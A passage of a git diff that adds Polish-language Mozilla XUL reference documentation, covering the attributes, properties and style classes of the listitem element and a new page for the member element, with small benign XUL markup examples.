+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-checked">
+
+<dl><dt> <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy przycisk jest zaznaczony. Konieczne jest ustawienie atrybutu <code><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code></code> na <code>checkbox</code> lub <code>radio</code>, aby zmiana atrybutu <code>checked</code> mogła odnosić jakiekolwiek skutki.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-command">
+
+<dl><dt> <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Ustawiony na wartość atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>, obserwowanego przez ten element.
+</dd></dl>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-current">
+
+
+<dl>
+ <dt><code id="a-current"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/current">current</a></code></dt>
+ <dd>Typ:<em>boolean</em></dd>
+ <dd>Ten atrybut będzie ustawiony na <code>true</code>, jeśli <code>listitem</code> jest aktualną pozycją. Jest typowo używany przez motyw do <strong>customize the focus ring.</strong> Aby zaznaczyć aktualną pozycję w <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code>listbox</code> używa do tego własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code>.</dd>
+</dl>
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-preference">
+
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-selected">
+
+<dl>
+ <dt>
+ <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Sygnalizuje gdzie element jest zaznaczony lub nie. Ta wartość jest tylko do odczytu. Aby zmienić zaznaczenie, ustaw pozostałe własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code> stanowiące ten element.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-listitem.type">
+
+<dl><dt> <a href="pl/XUL/Atrybut/listitem.type">type</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Możemy utworzyć pozycję pola wyboru <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, poprzez ustawienie tego atrybutu na wartość <code>checkbox</code>.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessKey">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl></div>
+<div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-checked">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/checked">checked</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-control">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-current">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/current">current</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-current"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/current">current</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-selected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Klasy_styl.C3.B3w" name="Klasy_styl.C3.B3w"> Klasy stylów </h3>
+<p>Następujące klasy możemy zastosować do nadania stylu temu elementowi. Należy korzystać z tych klas zamiast nadawać styl bezpośrednio w danym elemencie - dzięki temu będą bardziej pasować do motywu wybranego przez użytkownika.
+</p><p></p><dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/listitem-iconic">listitem-iconic</a></code></dt>
+ <dd>
+ Zastosuj tą klasę, aby mieć wyświetlony obrazek na <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>. Określa obrazek za pomocą arybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcell" title="listcell">listcell</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcol" title="listcol">listcol</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listcols" title="listcols">listcols</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listhead" title="listhead">listhead</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listheader" title="listheader">listheader</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlItemElement">nsIDOMXULSelectControlItemElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/member/index.html b/files/pl/mozilla/tech/xul/member/index.html
new file mode 100644
index 0000000000..ffa74e924d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/member/index.html
@@ -0,0 +1,107 @@
+---
+title: member
+slug: Mozilla/Tech/XUL/member
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/member
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Stosowany wewnątrz zasad elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/conditions" title="conditions">conditions</a></code> do dopasowania elementów, które są kontenerami lub są zawarte wewnątrz kolejnego elementu. Oba kontenery i atrybuty potomne mogą używać zmiennych.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zaawansowane_regu%c5%82y">kursie XUL</a>.
+</p>
+<dl><dt> Własności </dt><dd> <a href="#p-child">child</a>, <a href="#p-container">container</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-child">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/child">child</a></span></code>
+</dt><dd> Typ: <i>?</i>
+</dd><dd> Zmienna odwołująca się do węzła, który jest oczekiwanym elementem potomnym, który jest kierowany poprzez element kontenera.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-container"></div>
